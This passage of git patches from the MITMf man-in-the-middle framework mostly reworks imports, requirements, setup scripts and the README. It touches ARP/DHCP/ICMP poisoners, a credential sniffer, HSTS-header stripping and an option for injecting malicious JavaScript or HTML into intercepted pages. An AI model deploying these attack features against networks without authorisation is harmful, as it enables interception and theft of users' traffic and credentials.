b/core/poisoners/arp/ARPpoisoner.py index 8816665..4e896b7 100644 --- a/core/poisoners/arp/ARPpoisoner.py +++ b/core/poisoners/arp/ARPpoisoner.py @@ -5,7 +5,7 @@ from traceback import print_exc from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError from time import sleep from core.utils import shutdown -from scapy.all import * +from mitmflib.scapy.all import * mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/dhcp/DHCPpoisoner.py index aa23cc8..d3169cc 100644 --- a/core/poisoners/dhcp/DHCPpoisoner.py +++ b/core/poisoners/dhcp/DHCPpoisoner.py @@ -4,7 +4,7 @@ import binascii import random logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import * +from mitmflib.scapy.all import * mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/icmp/ICMPpoisoner.py b/core/poisoners/icmp/ICMPpoisoner.py index a23bf4b..c77d1bc 100644 --- a/core/poisoners/icmp/ICMPpoisoner.py +++ b/core/poisoners/icmp/ICMPpoisoner.py @@ -30,7 +30,7 @@ from time import sleep #from netfilterqueue import NetfilterQueue logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import * +from mitmflib.scapy.all import * mitmf_logger = logging.getLogger('mitmf') diff --git a/core/servers/dns/DNSchef.py b/core/servers/dns/DNSchef.py index 69f3681..9cf829d 100755 --- a/core/servers/dns/DNSchef.py +++ b/core/servers/dns/DNSchef.py @@ -43,7 +43,7 @@ from configobj import ConfigObj from core.configwatcher import ConfigWatcher from core.utils import shutdown -from dnslib import * +from mitmflib.dnslib import * from IPy import IP formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") diff --git a/core/servers/smb/KarmaSMB.py b/core/servers/smb/KarmaSMB.py index 3c7cd59..d363c93 100644 --- a/core/servers/smb/KarmaSMB.py +++ b/core/servers/smb/KarmaSMB.py @@ -56,13 +56,13 @@ import logging import ntpath import ConfigParser -from impacket import LOG as logger -from impacket import smbserver, smb, version -import impacket.smb3structs as smb2 -from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE -from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \ +from mitmflib.impacket import LOG as logger +from mitmflib.impacket import smbserver, smb, version +import mitmflib.impacket.smb3structs as smb2 +from mitmflib.impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE +from mitmflib.impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \ STATUS_OBJECT_PATH_NOT_FOUND -from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ +from mitmflib.impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ getFileTime, queryPathInformation class KarmaSMBServer(): diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index 8a86477..0c7f47c 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -4,7 +4,7 @@ import threading import os from socket import error as socketerror -from impacket import version, smbserver, LOG +from mitmflib.impacket import version, smbserver, LOG from core.servers.smb.KarmaSMB import KarmaSMBServer from core.configwatcher import ConfigWatcher from core.utils import shutdown diff --git a/core/utils.py b/core/utils.py index 42a9aa2..f90d51d 100644 --- a/core/utils.py +++ b/core/utils.py @@ -26,7 +26,7 @@ import re import sys logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr, get_if_hwaddr +from mitmflib.scapy.all import get_if_addr, get_if_hwaddr from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger('mitmf') diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 37379fd..fef8cd9 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -25,7 +25,7 @@ from core.servers.dns.DNSchef import DNSChef from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner from plugins.plugin import Plugin -from scapy.all import * +from mitmflib.scapy.all import * class Spoof(Plugin): name = "Spoof" diff --git a/requirements.txt b/requirements.txt index 8c65b16..0c9da76 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,16 +1,13 @@ Twisted requests netaddr -scapy msgpack-python -dnslib configobj +mitmflib Pillow pefile ipy pyopenssl service_identity -watchdog -impacket capstone pypcap \ No newline at end of file From b73ac99de3a0db52760e6c96bc633a7599935136 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 11 Jun 2015 22:27:31 +0200 Subject: [PATCH 058/181] re-added scapy, changed imports --- core/netcreds/NetCreds.py | 2 +- core/poisoners/arp/ARPWatch.py | 2 +- core/poisoners/arp/ARPpoisoner.py | 2 +- core/poisoners/dhcp/DHCPpoisoner.py | 2 +- core/poisoners/icmp/ICMPpoisoner.py | 2 +- core/utils.py | 2 +- plugins/Spoof.py | 2 +- requirements.txt | 1 + 8 files changed, 8 insertions(+), 7 deletions(-) diff --git a/core/netcreds/NetCreds.py b/core/netcreds/NetCreds.py index 328974b..451729b 100644 --- a/core/netcreds/NetCreds.py +++ b/core/netcreds/NetCreds.py @@ -17,7 +17,7 @@ from urllib import unquote # shut up scapy logging.getLogger("scapy.runtime").setLevel(logging.ERROR) -from mitmflib.scapy.all import * +from scapy.all import * conf.verb=0 mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/arp/ARPWatch.py b/core/poisoners/arp/ARPWatch.py index 55faf04..10470e5 100644 --- a/core/poisoners/arp/ARPWatch.py +++ b/core/poisoners/arp/ARPWatch.py @@ -3,7 +3,7 @@ import os import sys import threading -from mitmflib.scapy.all import * +from scapy.all import * from core.utils import shutdown mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py index 4e896b7..8816665 100644 --- a/core/poisoners/arp/ARPpoisoner.py +++ b/core/poisoners/arp/ARPpoisoner.py @@ -5,7 +5,7 @@ from traceback import print_exc from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError from time import sleep from core.utils import shutdown -from mitmflib.scapy.all import * +from scapy.all import * mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/dhcp/DHCPpoisoner.py index d3169cc..aa23cc8 100644 --- a/core/poisoners/dhcp/DHCPpoisoner.py +++ b/core/poisoners/dhcp/DHCPpoisoner.py @@ -4,7 +4,7 @@ import binascii import random logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from mitmflib.scapy.all import * +from scapy.all import * mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/icmp/ICMPpoisoner.py b/core/poisoners/icmp/ICMPpoisoner.py index c77d1bc..a23bf4b 100644 --- a/core/poisoners/icmp/ICMPpoisoner.py +++ b/core/poisoners/icmp/ICMPpoisoner.py @@ -30,7 +30,7 @@ from time import sleep #from netfilterqueue import NetfilterQueue logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from mitmflib.scapy.all import * +from scapy.all import * mitmf_logger = logging.getLogger('mitmf') diff --git a/core/utils.py b/core/utils.py index f90d51d..42a9aa2 100644 --- a/core/utils.py +++ b/core/utils.py @@ -26,7 +26,7 @@ import re import sys logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from mitmflib.scapy.all import get_if_addr, get_if_hwaddr +from scapy.all import get_if_addr, get_if_hwaddr from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger('mitmf') diff --git a/plugins/Spoof.py b/plugins/Spoof.py index fef8cd9..37379fd 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -25,7 +25,7 @@ from core.servers.dns.DNSchef import DNSChef from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner from plugins.plugin import Plugin -from mitmflib.scapy.all import * +from scapy.all import * class Spoof(Plugin): name = "Spoof" diff --git a/requirements.txt b/requirements.txt index 0c9da76..853e415 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,6 +1,7 @@ Twisted requests netaddr +scapy msgpack-python configobj mitmflib From 882e3b6d0766e89ee06fa744a003fa5cf44eaafa Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 12 Jun 2015 00:07:50 +0200 Subject: [PATCH 059/181] Update requirements.txt --- requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 8c65b16..78d01dc 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,6 +3,7 @@ requests netaddr scapy msgpack-python +dnspython dnslib configobj Pillow @@ -13,4 +14,4 @@ service_identity watchdog impacket capstone -pypcap \ No newline at end of file +pypcap From 7fc75d7bf8f8d75d504ccee86f8e81bd525c4b22 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 12 Jun 2015 01:36:12 +0200 Subject: [PATCH 060/181] changed ServerConnection.py back over to user_agents! --- core/httpagentparser.py | 673 ------------------------------ core/sslstrip/ServerConnection.py | 21 +- requirements.txt | 3 + 3 files changed, 9 insertions(+), 688 deletions(-) delete mode 100644 core/httpagentparser.py diff --git a/core/httpagentparser.py b/core/httpagentparser.py deleted file mode 100644 index 0c739ac..0000000 --- a/core/httpagentparser.py +++ /dev/null @@ -1,673 +0,0 @@ -# -#httpagentparser library, stolen from https://github.com/shon/httpagentparser -# - -""" -Extract client information from http user agent -The module does not try to detect all capabilities of browser in current form (it can easily be extended though). -Tries to - * be fast - * very easy to extend - * reliable enough for practical purposes - * assist python web apps to detect clients. -""" - -__version__ = '1.7.7' - - -class DetectorsHub(dict): - _known_types = ['os', 'dist', 'flavor', 'browser'] - - def __init__(self, *args, **kw): - dict.__init__(self, *args, **kw) - for typ in self._known_types: - self.setdefault(typ, []) - self.registerDetectors() - - def register(self, detector): - if detector.info_type not in self._known_types: - self[detector.info_type] = [detector] - self._known_types.insert(detector.order, detector.info_type) - else: - self[detector.info_type].append(detector) - - def __iter__(self): - return iter(self._known_types) - - def registerDetectors(self): - detectors = [v() for v in globals().values() if DetectorBase in getattr(v, '__mro__', [])] - for d in detectors: - if d.can_register: - self.register(d) - - -class DetectorBase(object): - name = "" # "to perform match in DetectorsHub object" - info_type = "override me" - result_key = "override me" - order = 10 # 0 is highest - look_for = "string to look for" - skip_if_found = [] # strings if present stop processin - can_register = False - version_markers = [("/", " ")] - allow_space_in_version = False - _suggested_detectors = None - platform = None - bot = False - - def __init__(self): - if not self.name: - self.name = self.__class__.__name__ - self.can_register = (self.__class__.__dict__.get('can_register', True)) - - def detect(self, agent, result): - # -> True/None - word = self.checkWords(agent) - if word: - result[self.info_type] = dict(name=self.name) - result['bot'] = self.bot - version = self.getVersion(agent, word) - if version: - result[self.info_type]['version'] = version - if self.platform: - result['platform'] = {'name': self.platform, 'version': version} - return True - - def checkWords(self, agent): - # -> True/None - for w in self.skip_if_found: - if w in agent: - return False - if isinstance(self.look_for, (tuple, list)): - for word in self.look_for: - if word in agent: - return word - elif self.look_for in agent: - return self.look_for - - def getVersion(self, agent, word): - """ - => version string /None - """ - version_markers = self.version_markers if \ - isinstance(self.version_markers[0], (list, tuple)) else [self.version_markers] - version_part = agent.split(word, 1)[-1] - for start, end in version_markers: - if version_part.startswith(start) and end in version_part: - version = version_part[1:] - if end: # end could be empty string - version = version.split(end)[0] - if not self.allow_space_in_version: - version = version.split()[0] - return version - - -class OS(DetectorBase): - info_type = "os" - can_register = False - version_markers = [";", " "] - allow_space_in_version = True - platform = None - - -class Dist(DetectorBase): - info_type = "dist" - can_register = False - platform = None - - -class Flavor(DetectorBase): - info_type = "flavor" - can_register = False - platform = None - - -class Browser(DetectorBase): - info_type = "browser" - can_register = False - - -class Firefox(Browser): - look_for = "Firefox" - version_markers = [('/', '')] - skip_if_found = ["SeaMonkey", "web/snippet"] - - -class SeaMonkey(Browser): - look_for = "SeaMonkey" - version_markers = [('/', '')] - - -class Konqueror(Browser): - look_for = "Konqueror" - version_markers = ["/", ";"] - - -class OperaMobile(Browser): - look_for = "Opera Mobi" - name = "Opera Mobile" - - def getVersion(self, agent, word): - try: - look_for = "Version" - return agent.split(look_for)[1][1:].split(' ')[0] - except IndexError: - look_for = "Opera" - return agent.split(look_for)[1][1:].split(' ')[0] - - -class Opera(Browser): - look_for = "Opera" - - def getVersion(self, agent, word): - try: - look_for = "Version" - return agent.split(look_for)[1][1:].split(' ')[0] - except IndexError: - look_for = "Opera" - version = agent.split(look_for)[1][1:].split(' ')[0] - return version.split('(')[0] - - -class OperaNew(Browser): - """ - Opera after version 15 - """ - name = "Opera" - look_for = "OPR" - version_markers = [('/', '')] - - -class Netscape(Browser): - look_for = "Netscape" - version_markers = [("/", '')] - - -class Trident(Browser): - look_for = "Trident" - skip_if_found = ["MSIE", "Opera"] - name = "IE" - version_markers = ["/", ";"] - trident_to_ie_versions = { - '4.0': '8.0', - '5.0': '9.0', - '6.0': '10.0', - '7.0': '11.0', - } - - def getVersion(self, agent, word): - return self.trident_to_ie_versions.get(super(Trident, self).getVersion(agent, word)) - - -class MSIE(Browser): - look_for = "MSIE" - skip_if_found = ["Opera"] - name = "IE" - version_markers = [" ", ";"] - - -class Galeon(Browser): - look_for = "Galeon" - - -class WOSBrowser(Browser): - look_for = "wOSBrowser" - - def getVersion(self, agent, word): - pass - - -class Safari(Browser): - look_for = "Safari" - - def checkWords(self, agent): - unless_list = ["Chrome", "OmniWeb", "wOSBrowser", "Android"] - if self.look_for in agent: - for word in unless_list: - if word in agent: - return False - return self.look_for - - def getVersion(self, agent, word): - if "Version/" in agent: - return agent.split('Version/')[-1].split(' ')[0].strip() - if "Safari/" in agent: - return agent.split('Safari/')[-1].split(' ')[0].strip() - else: - return agent.split('Safari ')[-1].split(' ')[0].strip() # Mobile Safari - -class GoogleBot(Browser): - # https://support.google.com/webmasters/answer/1061943 - look_for = ["Googlebot", "Googlebot-News", "Googlebot-Image", - "Googlebot-Video", "Googlebot-Mobile", "Mediapartners-Google", - "Mediapartners", "AdsBot-Google", "web/snippet"] - bot = True - version_markers = [('/', ';'), ('/', ' ')] - -class GoogleFeedFetcher(Browser): - look_for = "Feedfetcher-Google" - bot = True - - def get_version(self, agent): - pass - -class RunscopeRadar(Browser): - look_for = "runscope-radar" - bot = True - -class GoogleAppEngine(Browser): - look_for = "AppEngine-Google" - bot = True - - def get_version(self, agent): - pass - -class GoogleApps(Browser): - look_for = "GoogleApps script" - bot = True - - def get_version(self, agent): - pass - -class TwitterBot(Browser): - look_for = "Twitterbot" - bot = True - -class MJ12Bot(Browser): - look_for = "MJ12bot" - bot = True - -class YandexBot(Browser): - # http://help.yandex.com/search/robots/agent.xml - look_for = "Yandex" - bot = True - - def getVersion(self, agent, word): - return agent[agent.index('Yandex'):].split('/')[-1].split(')')[0].strip() - -class BingBot(Browser): - look_for = "bingbot" - version_markers = ["/", ";"] - bot = True - - -class BaiduBot(Browser): - # http://help.baidu.com/question?prod_en=master&class=1&id=1000973 - look_for = ["Baiduspider", "Baiduspider-image", "Baiduspider-video", - "Baiduspider-news", "Baiduspider-favo", "Baiduspider-cpro", - "Baiduspider-ads"] - bot = True - version_markers = ('/', ';') - - -class LinkedInBot(Browser): - look_for = "LinkedInBot" - bot = True - -class ArchiveDotOrgBot(Browser): - look_for = "archive.org_bot" - bot = True - -class YoudaoBot(Browser): - look_for = "YoudaoBot" - bot = True - -class YoudaoBotImage(Browser): - look_for = "YodaoBot-Image" - bot = True - -class RogerBot(Browser): - look_for = "rogerbot" - bot = True - -class TweetmemeBot(Browser): - look_for = "TweetmemeBot" - bot = True - -class WebshotBot(Browser): - look_for = "WebshotBot" - bot = True - -class SensikaBot(Browser): - look_for = "SensikaBot" - bot = True - -class YesupBot(Browser): - look_for = "YesupBot" - bot = True - -class DotBot(Browser): - look_for = "DotBot" - bot = True - -class PhantomJS(Browser): - look_for = "Browser/Phantom" - bot = True - -class FacebookExternalHit(Browser): - look_for = 'facebookexternalhit' - bot = True - - -class NokiaOvi(Browser): - look_for = "S40OviBrowser" - -class UCBrowser(Browser): - look_for = "UCBrowser" - -class BrowserNG(Browser): - look_for = "BrowserNG" - -class Dolfin(Browser): - look_for = 'Dolfin' - -class NetFront(Browser): - look_for = 'NetFront' - -class Jasmine(Browser): - look_for = 'Jasmine' - -class Openwave(Browser): - look_for = 'Openwave' - -class UPBrowser(Browser): - look_for = 'UP.Browser' - -class OneBrowser(Browser): - look_for = 'OneBrowser' - -class ObigoInternetBrowser(Browser): - look_for = 'ObigoInternetBrowser' - -class TelecaBrowser(Browser): - look_for = 'TelecaBrowser' - -class MAUI(Browser): - look_for = 'Browser/MAUI' - - def getVersion(self, agent, word): - version = agent.split("Release/")[-1][:10] - return version - - -class NintendoBrowser(Browser): - look_for = 'NintendoBrowser' - - -class AndroidBrowser(Browser): - look_for = "Android" - skip_if_found = ['Chrome', 'Windows Phone'] - - # http://decadecity.net/blog/2013/11/21/android-browser-versions - def getVersion(self, agent, word): - pass - - -class Linux(OS): - look_for = 'Linux' - platform = 'Linux' - - def getVersion(self, agent, word): - pass - - -class Blackberry(OS): - look_for = 'BlackBerry' - platform = 'BlackBerry' - - def getVersion(self, agent, word): - pass - - -class BlackberryPlaybook(Dist): - look_for = 'PlayBook' - platform = 'BlackBerry' - - def getVersion(self, agent, word): - pass - - -class WindowsPhone(OS): - name = "Windows Phone" - platform = 'Windows' - look_for = ["Windows Phone OS", "Windows Phone"] - version_markers = [(" ", ";"), (" ", ")")] - - -class iOS(OS): - look_for = ('iPhone', 'iPad') - skip_if_found = ['like iPhone'] - - -class iPhone(Dist): - look_for = 'iPhone' - platform = 'iOS' - skip_if_found = ['like iPhone'] - - def getVersion(self, agent, word): - version_end_chars = [' '] - if not "iPhone OS" in agent: - return None - part = agent.split('iPhone OS')[-1].strip() - for c in version_end_chars: - if c in part: - version = part.split(c)[0] - return version.replace('_', '.') - return None - - -class IPad(Dist): - look_for = 'iPad;' - platform = 'iOS' - - def getVersion(self, agent, word): - version_end_chars = [' '] - if not "CPU OS " in agent: - return None - part = agent.split('CPU OS ')[-1].strip() - for c in version_end_chars: - if c in part: - version = part.split(c)[0] - return version.replace('_', '.') - return None - - -class Macintosh(OS): - look_for = 'Macintosh' - - def getVersion(self, agent, word): - pass - - -class MacOS(Flavor): - look_for = 'Mac OS' - platform = 'Mac OS' - skip_if_found = ['iPhone', 'iPad'] - - def getVersion(self, agent, word): - version_end_chars = [';', ')'] - part = agent.split('Mac OS')[-1].strip() - for c in version_end_chars: - if c in part: - version = part.split(c)[0] - return version.replace('_', '.') - return '' - - -class Windows(Dist): - look_for = 'Windows' - platform = 'Windows' - - -class Windows(OS): - look_for = 'Windows' - platform = 'Windows' - skip_if_found = ["Windows Phone"] - win_versions = { - "NT 6.3": "8.1", - "NT 6.2": "8", - "NT 6.1": "7", - "NT 6.0": "Vista", - "NT 5.2": "Server 2003 / XP x64", - "NT 5.1": "XP", - "NT 5.01": "2000 SP1", - "NT 5.0": "2000", - "98; Win 9x 4.90": "Me" - } - - def getVersion(self, agent, word): - v = agent.split('Windows')[-1].split(';')[0].strip() - if ')' in v: - v = v.split(')')[0] - v = self.win_versions.get(v, v) - return v - - -class Ubuntu(Dist): - look_for = 'Ubuntu' - version_markers = ["/", " "] - - -class Debian(Dist): - look_for = 'Debian' - version_markers = ["/", " "] - - -class Chrome(Browser): - look_for = "Chrome" - version_markers = ["/", " "] - skip_if_found = ["OPR"] - - def getVersion(self, agent, word): - part = agent.split(word + self.version_markers[0])[-1] - version = part.split(self.version_markers[1])[0] - if '+' in version: - version = part.split('+')[0] - return version.strip() - - -class ChromeiOS(Browser): - look_for = "CriOS" - version_markers = ["/", " "] - - -class ChromeOS(OS): - look_for = "CrOS" - platform = ' ChromeOS' - version_markers = [" ", " "] - - def getVersion(self, agent, word): - version_markers = self.version_markers - if word + '+' in agent: - version_markers = ['+', '+'] - return agent.split(word + version_markers[0])[-1].split(version_markers[1])[1].strip()[:-1] - - -class Android(Dist): - look_for = 'Android' - platform = 'Android' - skip_if_found = ['Windows Phone'] - - def getVersion(self, agent, word): - return agent.split(word)[-1].split(';')[0].strip() - - -class WebOS(Dist): - look_for = 'hpwOS' - - def getVersion(self, agent, word): - return agent.split('hpwOS/')[-1].split(';')[0].strip() - - -class NokiaS40(OS): - look_for = 'Series40' - platform = 'Nokia S40' - - def getVersion(self, agent, word): - pass - - -class Symbian(OS): - look_for = ['Symbian', 'SymbianOS'] - platform = 'Symbian' - - -class PlayStation(OS): - look_for = ['PlayStation', 'PLAYSTATION'] - platform = 'PlayStation' - version_markers = [" ", ")"] - - -class prefs: # experimental - os = dict( - Linux=dict(dict(browser=[Firefox, Chrome], dist=[Ubuntu, Android])), - BlackBerry=dict(dist=[BlackberryPlaybook]), - Macintosh=dict(flavor=[MacOS]), - Windows=dict(browser=[MSIE, Firefox]), - ChromeOS=dict(browser=[Chrome]), - Debian=dict(browser=[Firefox]) - ) - dist = dict( - Ubuntu=dict(browser=[Firefox]), - Android=dict(browser=[Safari]), - IPhone=dict(browser=[Safari]), - IPad=dict(browser=[Safari]), - ) - flavor = dict( - MacOS=dict(browser=[Opera, Chrome, Firefox, MSIE]) - ) - - -detectorshub = DetectorsHub() - - -def detect(agent, fill_none=False): - """ - fill_none: if name/version is not detected respective key is still added to the result with value None - """ - result = dict(platform=dict(name=None, version=None)) - _suggested_detectors = [] - - for info_type in detectorshub: - detectors = _suggested_detectors or detectorshub[info_type] - for detector in detectors: - try: - detector.detect(agent, result) - except Exception as _err: - pass - - if fill_none: - attrs_d = {'name': None, 'version': None} - for key in ('os', 'browser'): - if key not in result: - result[key] = attrs_d - else: - for k, v in attrs_d.items(): - result[k] = v - - return result - - -def simple_detect(agent): - """ - -> (os, browser) # tuple of strings - """ - result = detect(agent) - os_list = [] - if 'flavor' in result: - os_list.append(result['flavor']['name']) - if 'dist' in result: - os_list.append(result['dist']['name']) - if 'os' in result: - os_list.append(result['os']['name']) - - os = os_list and " ".join(os_list) or "Unknown OS" - os_version = os_list and (result.get('flavor') and result['flavor'].get('version')) or \ - (result.get('dist') and result['dist'].get('version')) or (result.get('os') and result['os'].get('version')) or "" - browser = 'browser' in result and result['browser'].get('name') or 'Unknown Browser' - browser_version = 'browser' in result and result['browser'].get('version') or "" - if browser_version: - browser = " ".join((browser, browser_version)) - if os_version: - os = " ".join((os, os_version)) - return os, browser diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 8e9525c..f751746 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -24,8 +24,8 @@ import zlib import gzip import StringIO import sys -import core.httpagentparser as hap +from mitmflib.user_agents import parse from twisted.web.http import HTTPClient from URLMonitor import URLMonitor from core.sergioproxy.ProxyPlugins import ProxyPlugins @@ -72,15 +72,12 @@ class ServerConnection(HTTPClient): def sendRequest(self): if self.command == 'GET': try: - - if ('Unknown' in self.clientInfo[0]) or ('Unknown' in self.clientInfo[1]): - mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) - else: - mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host'])) - + user_agent = parse(self.headers['user-agent']) + self.clientInfo = (user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) + mitmf_logger.info("{} [type:{}-{} os:{}] {}".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family, self.headers['host'])) except Exception as e: mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e)) - mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) + mitmf_logger.info("{} Sending request: {}".format(self.client.getClientIP(), self.headers['host'])) pass mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri)) @@ -110,12 +107,6 @@ class ServerConnection(HTTPClient): def connectionMade(self): mitmf_logger.debug("[ServerConnection] HTTP connection made.") - try: - self.clientInfo = hap.simple_detect(self.headers['user-agent']) - except KeyError as e: - mitmf_logger.debug("[ServerConnection] Client didn't send UA with request") - self.clientInfo = None - pass self.plugins.hook() self.sendRequest() @@ -152,7 +143,7 @@ class ServerConnection(HTTPClient): self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - mitmf_logger.info("{} [type:{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0])) + mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2])) elif (key.lower() == 'content-length'): self.contentLength = value diff --git a/requirements.txt b/requirements.txt index 853e415..7434136 100644 --- a/requirements.txt +++ b/requirements.txt @@ -2,6 +2,9 @@ Twisted requests netaddr scapy +dnspython +cryptography +pycrypto msgpack-python configobj mitmflib From bb8ee46b82c259c93c32f0a58337c925d97cd450 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 15 Jun 2015 00:18:55 +0200 Subject: [PATCH 061/181] added kali setup script and updated readme --- README.md | 13 ++++++++----- kali_setup.sh | 6 ++++++ other_setup.sh | 3 +++ plugins/Inject.py | 1 + setup.sh | 3 --- 5 files changed, 18 insertions(+), 8 deletions(-) create mode 100755 kali_setup.sh create mode 100644 other_setup.sh delete mode 100755 setup.sh diff --git a/README.md b/README.md index a87832e..67a9a9a 100644 --- a/README.md +++ b/README.md @@ -12,6 +12,7 @@ Contact me at: - IRC on Freenode: #MITMf - Email: byt3bl33d3r@gmail.com +**Update: Installation steps have changed! Please read the new [instructions](#installation)** **Before submitting issues, please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).** Available plugins @@ -81,12 +82,14 @@ How to install on Kali Installation ============ -If MITMf is not in your distro's repo or you just want the latest version: -- Run the command ```git clone https://github.com/byt3bl33d3r/MITMf.git``` to clone this directory -- Run the ```setup.sh``` script -- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies +If you're rocking Kali and want the latest version: +- Clone this repository +- Run the ```kali_setup.sh``` script -On Kali Linux, if you get an error while installing the ```pypcap``` package or when starting MITMf you see: ```ImportError: no module named pcap```, run ```apt-get install python-pypcap``` to fix it +If you're rocking any other Linux distro: +- Clone this repository +- Run the ```other_setup.sh``` script +- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies Submitting Issues ================= diff --git a/kali_setup.sh b/kali_setup.sh new file mode 100755 index 0000000..d90d0b5 --- /dev/null +++ b/kali_setup.sh @@ -0,0 +1,6 @@ +#!/usr/bin/env bash + +git submodule init && git submodule update --recursive +apt-get install -y python-capstone python-twisted python-requests python-scapy python-dnspython python-cryptography python-crypto +apt-get install -y python-msgpack python-configobj python-pefile python-ipy python-openssl python-pypcap +pip install Pillow mitmflib diff --git a/other_setup.sh b/other_setup.sh new file mode 100644 index 0000000..3c8052a --- /dev/null +++ b/other_setup.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash + +git submodule init && git submodule update --recursive \ No newline at end of file diff --git a/plugins/Inject.py b/plugins/Inject.py index d86b5ef..b832ce4 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -170,6 +170,7 @@ class Inject(CacheKill, Plugin): options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") options.add_argument("--html-payload", type=str, default='', help="String you would like to inject.") + options.add_argument("--html-file", type=argparse.FileType('r'), help='File containg HTML you would like to inject') options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. ( by default)") options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") group = options.add_mutually_exclusive_group(required=False) diff --git a/setup.sh b/setup.sh deleted file mode 100755 index 282b969..0000000 --- a/setup.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/env bash - -git submodule init && git submodule update --recursive From e25edc21c6b97ff56c4ff63609166c7786ae96d7 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 15 Jun 2015 00:21:51 +0200 Subject: [PATCH 062/181] updated readme.md again --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 67a9a9a..91b2cae 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,7 @@ Contact me at: - Email: byt3bl33d3r@gmail.com **Update: Installation steps have changed! Please read the new [instructions](#installation)** + **Before submitting issues, please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).** Available plugins From 951937bac45d687130d478712445d4a63d11bad5 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 15 Jun 2015 00:27:09 +0200 Subject: [PATCH 063/181] commented out unfinished option in Inject.py --- plugins/Inject.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/Inject.py b/plugins/Inject.py index b832ce4..cb9c337 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -170,7 +170,7 @@ 